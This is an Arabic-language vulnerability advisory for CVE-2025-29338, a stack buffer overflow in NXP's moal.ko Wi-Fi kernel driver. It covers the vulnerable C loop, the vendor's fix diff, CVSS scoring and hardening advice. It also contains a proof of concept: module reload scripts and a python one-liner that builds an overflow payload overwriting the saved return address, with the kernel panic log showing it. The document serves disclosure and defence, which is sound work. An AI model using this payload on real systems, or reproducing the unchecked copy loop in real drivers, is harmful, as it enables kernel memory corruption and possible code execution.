
استشارة فنية وإثبات مفهوم لفيضان مخزن مؤقت قائم على المكدس (CWE-121) في برنامج تشغيل نواة Wi-Fi NXP moal.ko، مما يتسبب في انهيار النواة المحلي وتنفيذ تعليمات برمجية عشوائية محتمل.
woal_setup_module_param / parse_cfg_get_line)| الحقل | القيمة |
|---|---|
| معرف CVE | CVE-2025-29338 |
| الخطورة | عالية |
| درجة CVSS v3.1 | 7.8 |
| متجه CVSS v3.1 | CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| نوع الثغرة | تجاوز سعة المخزن المؤقت المستند إلى المكدس (CWE-121) |
| متجه الهجوم | محلي |
| البائع | NXP Semiconductors |
| حالة تصحيح البائع | تم التصحيح |
| مكتشف الثغرة | Mahmoud Jadaan — diconium auto GmbH |
توجد ثغرة تجاوز سعة المخزن المؤقت المستند إلى المكدس في برنامج تشغيل نواة Wi-Fi من NXP، moal.ko (الإصدار 5.1.7.10)، عبر إصدارات البرنامج الثابت v17.92.1.p149.43 حتى v17.92.1.p149.157. تقع الثغرة في parse_cfg_get_line (mlinux/moal_init.c)، والتي يتم استدعاؤها من woal_setup_module_param. تفتقر حلقة while التي تقرأ أسطر ملف الإعدادات في مخزن مؤقت ثابت الحجم على المكدس إلى فحص لحدود الوجهة، مما يسمح لسطر بطول تعسفي بتجاوز سعة المخزن المؤقت وإفساد المكدس والتسبب في انهيار النواة (kernel panic). أكد فريق NXP PSIRT الثغرة وتم إصدار الإصلاح.
يخصص woal_setup_module_param مخزنًا مؤقتًا ثابت الحجم على المكدس بحجم MAX_LINE_LEN بايت، ويمرره إلى parse_cfg_get_line في كل تكرار أثناء معالجة ملف الإعدادات mod_para:
// woal_setup_module_param — mlinux/moal_init.c
char line[MAX_LINE_LEN];
...
while (parse_cfg_get_line(data, size, line) != -1) {
// process line
}
في النسخة المعرّضة للخطر من parse_cfg_get_line، يتحقق شرط حلقة while من موضع المصدر وفواصل الأسطر فقط — لا يوجد أي فحص لعدد البايتات التي تمت كتابتها إلى المخزن المؤقت للوجهة:
// parse_cfg_get_line — vulnerable version (mlinux/moal_init.c)
static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
{
t_u8 *src, *dest;
static t_s32 pos;
if (pos >= size) {
pos = 0;
return -1;
}
memset(line_pos, 0, MAX_LINE_LEN);
src = data + pos;
dest = line_pos;
while (pos < size && *src != '\x0A' && *src != '\0') {
if (*src != ' ' && *src != '\t')
*dest++ = *src++; // unchecked write — no dest bounds check
else
src++;
pos++;
}
pos++;
*dest = '\0';
return strlen(line_pos);
}
يتسبب سطر في ملف الإعدادات يزيد طوله عن MAX_LINE_LEN بايت في تجاوز dest لنهاية المخزن المؤقت للمكدس الخاص بالاستدعاء، والكتابة فوق ذاكرة المكدس المجاورة بما في ذلك مؤشر الإطار المحفوظ وعنوان الإرجاع.
يتم تحميل برنامج التشغيل عند إقلاع النظام باستخدام insmod مع معامل mod_para الذي يشير إلى ملف إعدادات. يمكن للمهاجم الذي يستطيع كتابة ملف إعدادات معدّ وإعادة تحميل وحدة النواة أن يطلق تجاوز السعة.
| الأثر | الوصف |
|---|---|
| حرمان الخدمة | انهيار النواة (kernel panic) — مؤكد؛ يسبب إعادة تشغيل فورية للنظام |
| إفساد ذاكرة النواة | تدمير المكدس يكتب فوق rbp المحفوظ وعنوان الإرجاع |
| تنفيذ كود محتمل |
الدرجة الأساسية: 7.8 (عالية)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
مقدمة لأغراض دفاعية وبحثية فقط.
#!/bin/sh
rmmod moal
rmmod mlan
يتم ملء المخزن المؤقت للمكدس بحروف A، تليها 8 بايتات لموضع حارس المكدس (B)، و8 بايتات لـ rbp المحفوظ (C)، و8 بايتات للكتابة فوق عنوان الإرجاع (D):
python3 -c 'print("A"*256 + "B"*8 + "C"*8 + "D"*8)' > payload.bin
يجب أن يكون مسار mod_para نسبيًا إلى الدليل الذي تبحث فيه النواة عن البرامج الثابتة (عادةً /lib/firmware/). أنشئ المسار وفقًا لذلك:
#!/bin/sh
PAYLOAD_PATH=../../<relative_path_to>/payload.bin
insmod /lib/modules/nxp9098/wifi/mlan.ko
insmod /lib/modules/nxp9098/wifi/moal.ko \
mod_para=$PAYLOAD_PATH \
drvdbg=0x7
يتم إطلاق انهيار النواة (kernel panic) فورًا أثناء تهيئة الوحدة. تؤكد سجلات النواة أن عنوان الإرجاع تمت الكتابة فوقه بالقيمة 0x4444444444444444 (ASCII DDDDDDDD)، مما يثبت السيطرة الكاملة على مؤشر التعليمات:
[insmod] Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in:
woal_setup_module_param+0xd4/0x3e4 [moal]
[insmod] 0x4444444444444444 <-- controlled return address
أكد فريق NXP PSIRT الثغرة وقدّم التصحيح التالي إلى mlinux/moal_init.c. يضيف الإصلاح فحصًا لحدود الوجهة داخل حلقة parse_cfg_get_line للخروج قبل تجاوز MAX_LINE_LEN:
--- a/src/wlan_src/moal/linux/moal_init.c
+++ b/src/wlan_src/moal/linux/moal_init.c
@@ -723,6 +723,10 @@ static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
else
src++;
pos++;
+ if ((dest - line_pos) >= (MAX_LINE_LEN-1)) {
+ PRINTM(MERROR, "input data size exceeds the dest buff limit\n");
+ break;
+ }
}
/* parse new line */
pos++;
قم بالتحديث إلى إصدار برنامج ثابت أحدث من v17.92.1.p149.157 يتضمن التصحيح أعلاه. كتحصين إضافي:
CAP_SYS_MODULE على المسؤولين الموثوقين؛ وفرض قيود استدعاء النظام init_module / finit_module عبر SELinux أو AppArmor أو seccomp.mod_para والملفات التي يشير إليها قابلة للكتابة من قبل الجذر root فقط.أكد فريق NXP PSIRT الثغرة. تم إصدار الإصلاح كجزء من تحديث برمجي رسمي.
مكتشف الثغرة: Mahmoud Jadaan — diconium auto GmbH
تُنشر هذه النشرة كمرجع عام للوفاء بالحد الأدنى من متطلبات الإفصاح عن CVE وفقًا لبرنامج CVE.
| الحقل | التفاصيل |
|---|
| البائع | NXP Semiconductors |
| المكوّن | برنامج تشغيل نواة Wi-Fi moal.ko |
| إصدار برنامج التشغيل | 5.1.7.10 |
| البرنامج الثابت — أول إصدار متأثر | v17.92.1.p149.43 |
| البرنامج الثابت — آخر إصدار متأثر | v17.92.1.p149.157 |
| السمة |
|---|
| القيمة |
|---|
| النوع | محلي |
| الصلاحيات المطلوبة | CAP_SYS_MODULE (الجذر أو ما يعادله) |
| تفاعل المستخدم | لا يوجد |
| سطح الهجوم | معامل وحدة النواة mod_para (مسار ملف الإعدادات) |
| عنوان الإرجاع مسيطر عليه — قد يكون تنفيذ كود عشوائي في وضع النواة ممكنًا اعتمادًا على آليات التخفيف المطبقة (حارس المكدس، KASLR، إلخ.) |
| المقياس | القيمة | الأساس المنطقي |
|---|
| متجه الهجوم (AV) | محلي (L) | يتطلب وصولًا محليًا إلى النظام |
| تعقيد الهجوم (AC) | منخفض (L) | لا توجد حالات سباق أو متطلبات مسبقة معقدة |
| الصلاحيات المطلوبة (PR) | عالية (H) | يتطلب CAP_SYS_MODULE / صلاحيات الجذر |
| تفاعل المستخدم (UI) | لا شيء (N) | يتحكم المهاجم بالكامل |
| النطاق (S) | غير متغير (U) | يبقى الأثر ضمن سياق النواة |
| السرية (C) | عالية (H) | ذاكرة النواة قد تكون قابلة للقراءة |
| السلامة (I) | عالية (H) | تم إثبات الكتابة فوق عنوان الإرجاع |
| التوافر (A) | عالية (H) | انهيار النواة / إعادة التشغيل مؤكدان |